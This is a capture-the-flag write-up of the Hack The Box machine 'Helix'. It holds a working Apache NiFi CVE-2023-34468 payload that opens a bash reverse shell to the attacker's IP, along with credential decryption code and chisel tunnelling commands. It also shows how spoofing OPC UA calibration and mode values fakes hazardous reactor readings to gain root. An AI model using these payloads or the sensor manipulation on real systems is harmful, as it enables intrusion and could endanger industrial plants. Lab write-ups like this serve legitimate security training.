> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-08-08

Hack The Box - Helix (Linux)

We find a hidden virtual host flow.helix.htb that runs Apache NiFi 1.21.0, which is vulnerable to CVE-2023-34468. We exploit this vulnerability to get a reverse shell as the user operator. We find the operator's SSH private key and use it to SSH into the target machine. We find that we can run the program helix-maint-console as root, but it requires a privileged maintenance window to be open. We find an OPC UA port that allows us to change some values in the plant, which opens the privileged maintenance window, allowing us to run helix-maint-console and get a root shell.

Target

IP: 10.129.39.25

Port scan

sudo nmap -sC -sV 10.129.39.25 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastruc...
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add helix.htb to /etc/hosts.

Initial enumeration

Go to http://helix.htb. We can:

  • Start a project --> On the website we read: "Submit a brief. We review every intake and respond within one business day with a practical path forward."

  • Request a call --> On the website we read: "Speak directly with one of our engineers. No account managers, no discovery scripts: straight to substance."

Both of them have a form to submit. Submitting the forms doesn't produce any HTTP request.

Vhosts enumeration

Let's check if there are hidden virtual hosts:

gobuster vhost -u 'http://helix.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
flow.helix.htb Status: 200 [Size: 1068]

Add flow.helix.htb to /etc/hosts.

Go to http://flow.helix.htb. We land in http://flow.helix.htb/nifi/.

It's Apache NiFi Flow. By clicking on the "hamburger" menu on the top right, and on "About", we see that the version is 1.21.0.

CVE-2023-34468 - Apache NiFi RCE

Searching on internet, we find that this version is vulnerable to CVE-2023-34468, a RCE vulnerability.

The exploitation steps are explained in this PDF file: https://github.com/mbadanoiu/CVE-2023-34468/blob/main/Apache%20NiFi%20-%20CVE-2023-34468.pdf

Some steps are already done. We see that there is a ExecuteSQL processor. We can edit its properties. Edit the property "SQL select query" and set it to something like:

RUNSCRIPT FROM 'http://10.10.16.41:5555/rce.sql'

Where 10.10.16.41 is the IP of our attacking machine.

Start a listener on our attacking machine:

nc -vlnp 4444

Now we need to create the rce.sql file with the following content:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.16.41/4444 0>&1');

Now click on start on the ExecuteSQL processor. We should get a reverse shell.

ls -la /home

We see a user named operator.

Optional: Decrypting operator credentials

Apache nifi stores sensitive properties (like processor passwords) in the flow.xml.gz or flow.json.gz file located in the conf/ directory. The sensitive properties are encrypted using the key specified in the nifi.properties file.

cat conf/nifi.properties

We notice:

# security properties #
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.key.protected=
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
nifi.sensitive.props.additional.keys=

The key is TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl. It's base64 encoded.

Now, let's grab the flow.xml.gz file:

cp conf/flow.xml.gz /tmp
cd /tmp
gunzip flow.xml.gz
cat flow.xml

We notice:

<property>
<name>Database User</name>
<value>operator</value>
</property>
<property>
<name>Password</name>
<value>enc{158dd2562f5003335106dce0755b61fb7b4f10db6749ede3af6032daf3eb5d6b53fc49af0ab699b03a9fc3bd9e08b32b575d}</value>
</property>

We can leverage the target system to decrypt the password. We can create a Java program that uses the same encryption algorithm and key to decrypt the password.

cd /opt/nifi-1.21.0
mkdir decryptor

In decryptor folder, create a file named Decrypt.java with the following content:

package decryptor;

import org.apache.nifi.encrypt.PropertyEncryptor;
import org.apache.nifi.encrypt.PropertyEncryptorBuilder;

public class Decrypt {

    public static void main(String[] args) {

        try {

            // From nifi.properties
            final String key = "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl";

            // From nifi.properties
            final String algorithm = "NIFI_PBKDF2_AES_GCM_256";

            final PropertyEncryptor encryptor =
                    new PropertyEncryptorBuilder(key)
                            .setAlgorithm(algorithm)
                            .build();

            // Remove enc{ } if present
            final String encrypted =
                    "57907f7d4280bcace847269aa75fbfd433f8ef25fc934a4a4f2eeed66c26450a50ac765c2e03a2c725d169e3c6f065a04fb8";

            final String decrypted = encryptor.decrypt(encrypted);

            System.out.println(decrypted);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile with:

javac -cp "/opt/nifi-1.21.0/lib/*:/opt/nifi-1.21.0/lib/bootstrap/*" decryptor/Decrypt.java

Run with:

java -cp "/opt/nifi-1.21.0/lib/*:/opt/nifi-1.21.0/lib/bootstrap/*:." decryptor.Decrypt

We get the decrypted password: R7qZ9L3xKM2W8pFYcA. However, it seems useless.

Recovering operator SSH key

Inspecting the folder /opt/nifi-1.21.0, we find the folder support-bundles. Inside it, there is a file operator_id_ed25519.bak. This seems to be a backup of the operator's SSH private key. We can copy it to our attacking machine in a file operator_key and use it to SSH into the target machine as operator.

chmod 600 operator_key
ssh -i operator_key operator@helix.htb

We get a shell as operator.

Sudo permissions

Let's check sudo permissions:

sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

Let's run it:

sudo helix-maint-console
Maintenance window CLOSED.

So, apparently, at the moment we cannot use it.

OPC UA port 4840 - Maintenance window

On the shell, run:

ss -ltpn
State  Recv-Q Send-Q      Local Address:Port  Peer Address:PortProcess
LISTEN 0      50              127.0.0.1:8080       0.0.0.0:*    users:(("java",pid=1088,fd=41))
LISTEN 0      128             127.0.0.1:8081       0.0.0.0:*
LISTEN 0      128               0.0.0.0:22         0.0.0.0:*
LISTEN 0      511               0.0.0.0:80         0.0.0.0:*
LISTEN 0      100             127.0.0.1:4840       0.0.0.0:*
LISTEN 0      4096        127.0.0.53%lo:53         0.0.0.0:*
LISTEN 0      50              127.0.0.1:35017      0.0.0.0:*    users:(("java",pid=1088,fd=79))
LISTEN 0      50     [::ffff:127.0.0.1]:36289            *:*    users:(("java",pid=1020,fd=57))
LISTEN 0      128                  [::]:22            [::]:*

The port 4840 is a well known port for OPC UA protocol.

We also see the port 8081. Let's forward both ports to our attacking machine with chisel.

On the attacking machine, run:

./chisel server --port 7777 --reverse

On the target machine, run:

./chisel client http://10.10.16.41:7777 R:127.0.0.1:8081:127.0.0.1:8081 R:127.0.0.1:4840:127.0.0.1:4840

Let's look at the port 8081. With the browser, go to http://127.0.0.1:8081. We see:

Reactor
Temperature: 284.0 °C
Pressure: 69.00 bar
Raw Temp: 284.0 °C | CalibrationOffset: 0.0 °C

Safety
Trip Active: False
Rods Inserted: False
Emergency Cooling: False

Control
Mode: NORMAL
Test Override: False
Test Mode Active: NO
OPC UA (internal): opc.tcp://127.0.0.1:4840/helix/

Privileged Maintenance Window
Status: CLOSED
No maintenance window file present.
This window is granted by the safety controller only when a hazardous test condition is detected (e.g., Temp ≥ 295°C or Pressure ≥ 73 bar) while still below trip.

There seems to be some kind of sensor readings for a plant. There are also some control and safety features. We also see the OPC UA internal address.

Here we read of a privileged maintenance window that can be opened when some hazardous conditions are detected (e.g., Temp ≥ 295°C or Pressure ≥ 73 bar). It could be related to the helix-maint-console program that we can run as root.

We can use UAExpert to connect to the OPC UA port. Run UAExpert, add the server with the address 127.0.0.1 and port 4840 and connect to it.

We see two nodes: Plant and Server.

Plant has three nodes with some values:

  • Control
  • Mode
  • ResetTrip
  • TestOverride
  • Reactor
  • CalibrationOffset
  • Pressure
  • Temperature
  • TemperatureRaw
  • Safety
  • EmergencyCooling
  • RodsInserted
  • TripActive

To change a value, we can drag the value to the "Data Access View" on the center, then we can double click on the value and change it.

So, to trigger the privileged maintenance window, we can change the temperature to something higher than 295°C. By playing with UAExpert, we notice that we cannot change the temperature value. However, we can change the CalibrationOffset, which is added to TemperatureRaw to get the final temperature. So, we can set the CalibrationOffset to something like 20, which will make the final temperature to be higher than 295°C.

After we do this, we see that the privileged maintenance window is still closed. In fact, we have also to change TestOverride to true, and Mode to MAINTENANCE. After doing this, the privileged maintenance window opens. We have limited time during this window.

After the maintenance window opens, we can run helix-maint-console with sudo.

sudo helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 115 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#

We got a shell as root.